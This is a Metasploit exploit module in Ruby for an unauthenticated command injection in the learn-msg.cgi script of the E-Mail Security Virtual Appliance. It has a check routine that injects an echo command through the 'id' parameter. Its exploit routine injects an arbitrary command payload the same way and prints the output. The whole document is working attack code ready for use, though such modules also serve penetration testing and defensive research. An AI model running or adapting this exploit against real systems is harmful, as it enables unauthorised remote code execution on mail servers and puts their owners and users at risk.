E-Mail Security Virtual Appliance - 'learn-msg.cgi' Command Injection (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
			'Description'    => %q{
					This module exploits a command injection vulnerability found in E-Mail Security
				Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
				OS commands without authentication. This module has been successfully tested on the
				ESVA_2057 appliance.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'iJoo', # Vulnerability Discovery and PoC
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'EDB', '20551' ]
				],
			'Payload'        =>
				{
					'BadChars' => "",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl python',
						}
				},
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['ESVA_2057', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 16 2012",
			'DefaultTarget'  => 0))
	end


	def check
		clue = Rex::Text::rand_text_alpha(rand(5) + 5)
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "/cgi-bin/learn-msg.cgi",
			'vars_get' => {
				'id' => "|echo #{clue};"
			}
		})

		# If the server doesn't return the default redirection, probably something is wrong
		if res and res.code == 200 and res.body =~ /#{clue}/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		peer = "#{rhost}:#{rport}"

		print_status("#{peer} - Sending Command injection")
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "/cgi-bin/learn-msg.cgi",
			'vars_get' => {
				'id' => "|#{payload.raw};"
			}
		})

		# If the server doesn't return the default redirection, probably something is wrong
		if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
			print_error("#{peer} - Probably command not executed, aborting!")
			return
		end

		print_good("#{peer} - Command executed successfully")
		print_status("#{peer} - Output: \n#{res.body.split("Learned tokens")[0]}")
	end

end